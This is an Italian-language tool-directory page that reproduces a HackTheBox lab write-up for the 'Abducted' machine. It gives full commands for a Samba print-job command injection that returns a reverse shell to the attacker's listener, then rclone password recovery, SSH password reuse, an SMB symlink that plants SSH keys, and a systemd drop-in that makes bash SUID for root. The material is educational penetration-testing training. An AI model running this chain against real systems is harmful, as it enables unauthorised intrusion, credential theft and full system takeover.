Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Abducted-HTB-Writeup — 🔴 HackTheBox Abducted (Medium) — CVE-2026-4480 (Samba %J) → divulgazione rclone → SMB-Symlink → systemd Drop-in → Root | Kitploit
Strumenti/GitHubGitHub/timgad794/abducted-htb-writeup
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitCTFPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubtimgad794/abducted-htb-writeup

Abducted-HTB-Writeup

1 mese faNon ancora revisionato
Condividi

🔴 HackTheBox Abducted (Medium) — CVE-2026-4480 (Samba %J) → divulgazione rclone → SMB-Symlink → systemd Drop-in → Root

Vedi Repository

🎯 HackTheBox — Abducted

** Difficoltà: ** Media · ** Sistema operativo: ** Linux · ** Categoria: ** Samba CVE / Escalation dei privilegi

Stato Piattaforma SO Difficoltà

Di @timgad794


📋 Panoramica

Abducted simula un server locale di file e stampa compromesso in un ambiente di servizi professionali. La macchina concatena una vulnerabilità del sottosistema di stampa Samba (CVE-2026-4480), una fuga di credenziali rclone, un attacco con symlink SMB e un'escalation di privilegi tramite drop-in di systemd.

Catena di exploit:

Recon (nmap) → SMB enum (HP-Reception printer share)
  → CVE-2026-4480 (Samba %J command injection) → RCE as nobody
  → /opt/offsite-backup/rclone.conf (obfuscated password)
  → rclone reveal → cleartext password
  → SSH as scott → User Flag
  → SMB symlink via "wide links" + "force user = marcus" → SSH as marcus
  → systemd drop-in (smbd.service.d) → SUID bash → root

🖼️ Screenshot

Scansione Nmap iniziale: Scansione Nmap

Reverse shell come nobody: Reverse Shell

Root shell con bash SUID: Root Shell


🔧 Passo 1 — Ricognizione

1.1 Voce hosts

echo "10.129.244.177 abducted.htb" | sudo tee -a /etc/hosts

1.2 Scansione completa Nmap

nmap abducted.htb -sCV -A -oN abducted-nmap.txt

Risultati:

PortaServizioVersione
22/tcpSSHOpenSSH 9.6p1 Ubuntu
139/tcpnetbios-ssnSamba smbd 4
445/tcpnetbios-ssnSamba smbd 4

3 porte TCP aperte — un file e print server Linux.


🔧 Passo 2 — Enumerazione SMB

2.1 Elenco delle condivisioni (login guest)

smbclient -L //abducted.htb -N

Output:

Sharename       Type      Comment
---------       ----      -------
HP-Reception    Printer   Reception printer
projects        Disk      Hartley Group Project Files
transfer        Disk      Staff file transfer
IPC$            IPC       IPC Service (Hartley Group Document Services)

Risultati principali:

  • HP-Reception — condivisione stampante con accesso guest
  • transfer — condivisione per il trasferimento di file (usata successivamente per l'attacco symlink)

🔧 Passo 3 — Accesso iniziale: CVE-2026-4480

3.1 La vulnerabilità

Samba passa la descrizione del lavoro di stampa controllata dal client al print command tramite il segnaposto %J senza effettuare l'escape dei metacaratteri della shell. Ciò consente ad attaccanti non autenticati di eseguire comandi arbitrari con l'account del servizio di stampa.

3.2 Clonare il PoC

git clone https://github.com/TheCyberGeek/CVE-2026-4480-PoC.git
cd CVE-2026-4480-PoC
cat exploit.py | head -30

3.3 Avviare il listener

Terminale A:

nc -lvnp 8443

3.4 Eseguire l'exploit

Terminale B:

cd ~/CVE-2026-4480-PoC
python3 exploit.py 10.129.244.177 10.10.16.96 8443 -P HP-Reception

Output atteso:

[*] target   : 10.129.244.177 (\\10.129.244.177\HP-Reception)
[*] callback : 10.10.16.96:8443
[+] print job submitted -- check your listener

Terminale A:

Connection received on 10.129.244.177 ...
nobody@abducted:/var/spool/samba$

Ora abbiamo RCE come nobody (uid=65534).


🔧 Passo 4 — Post-Exploitation: credenziali rclone

4.1 Ricognizione nella shell

id
# uid=65534(nobody) gid=65534(nogroup)

cat /etc/passwd | grep -E "bash|sh$"
# → root, scott, marcus

4.2 Trovare la configurazione di rclone

find / -type f -name "rclone.conf" 2>/dev/null
# → /opt/offsite-backup/rclone.conf

cat /opt/offsite-backup/rclone.conf

Output:

[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unix

4.3 Deoffuscare la password

rclone utilizza un'offuscamento base64 reversibile. Usa rclone stesso:

# On Kali (not inside the shell)
sudo apt install -y rclone
rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw

Output:

iXzvcib3SrpZ

🔧 Passo 5 — Movimento laterale: SSH come scott

5.1 Riuso della password

ssh [email protected]
# Password: iXzvcib3SrpZ

Accesso riuscito!

id
# uid=1000(scott) gid=1001(scott)

cat ~/user.txt
# 🟢 User Flag

🔧 Step 6 — Movimento laterale: scott → marcus

6.1 La configurazione errata

La condivisione transfer in /etc/samba/shares.conf contiene:

[transfer]
    path = /srv/transfer
    force user = marcus
    wide links = yes
    ...

Significato:

  • force user = marcus — ogni operazione sui file viene eseguita come marcus
  • wide links = yes — i symlink possono puntare al di fuori della directory condivisa

6.2 Attacco symlink

Come scott nella sessione SSH:

# SSH keypair in scott's home (not /tmp — nobody owns files there)
ssh-keygen -q -t ed25519 -N '' -f ~/k

# Symlink to marcus's home
ln -s /home/marcus /srv/transfer/keys

# Upload public key — ABSOLUTE paths required (smbclient does not expand tilde)
smbclient //127.0.0.1/transfer -U 'scott%iXzvcib3SrpZ' \
  -c 'put /home/scott/k.pub keys/.ssh/authorized_keys'

Verifica:

smbclient //127.0.0.1/transfer -U 'scott%iXzvcib3SrpZ' \
  -c 'get keys/.ssh/authorized_keys /tmp/ak'
diff /tmp/ak /home/scott/k.pub && echo "KEYS MATCH"

6.3 SSH come marcus

ssh -i /home/scott/k -o StrictHostKeyChecking=no marcus@localhost
id
# → uid=1001(marcus) groups=1002(marcus),1000(operators)

Importante: operators è il gruppo chiave per l'escalation.


🔧 Passo 7 — Escalation dei privilegi: marcus → root

7.1 La configurazione errata

find / -group operators 2>/dev/null
# → /etc/systemd/system/smbd.service.d

ls -ld /etc/systemd/system/smbd.service.d/
# drwxrws--- 2 root operators

Il gruppo operators ha accesso in scrittura alla directory drop-in di systemd del servizio smbd.

7.2 Hijack drop-in

Come marcus:

cat > /etc/systemd/system/smbd.service.d/daffy.conf << 'EOF'
[Service]
ExecStartPre=/bin/bash -c 'chmod +s /bin/bash'
EOF

Reload + restart (polkit consente a operators di eseguire daemon-reload senza password):

systemctl daemon-reload
systemctl restart smbd

7.3 Sfruttamento di SUID bash

/bin/bash -p
id
# → euid=0(root)

cat /root/root.txt
# 🔴 Root Flag

Box completamente compromessa. ✅


🏆 Risultato

FlagPercorso
🟢 Utente/home/scott/user.txt
🔴 Root/root/root.txt

📚 Concetti chiave

ConcettoApplicazione
CVE-2026-4480Iniezione del comando di stampa %J di Samba → RCE
Deoffuscamento rclonerclone reveal per deoffuscamento base64 reversibile
Riuso delle passwordLa password di svc-backup funziona anche per scott
Attacco symlink SMBwide links = yes + force user = marcus
Dirottamento drop-in systemdAccesso in scrittura a smbd.service.d → ExecStartPre
Bash SUIDchmod +s /bin/bash + /bin/bash -p → euid=0
Bypass di polkitIl gruppo operators può eseguire daemon-reload senza autenticazione

🧰 Strumenti e riferimenti

  • PoC CVE-2026-4480 (TheCyberGeek)
  • rclone Reveal
  • Samba wide links
  • systemd Drop-in
  • Nmap

⚠️ Avvertenza

Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Nessun dato di popolarità ancora.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →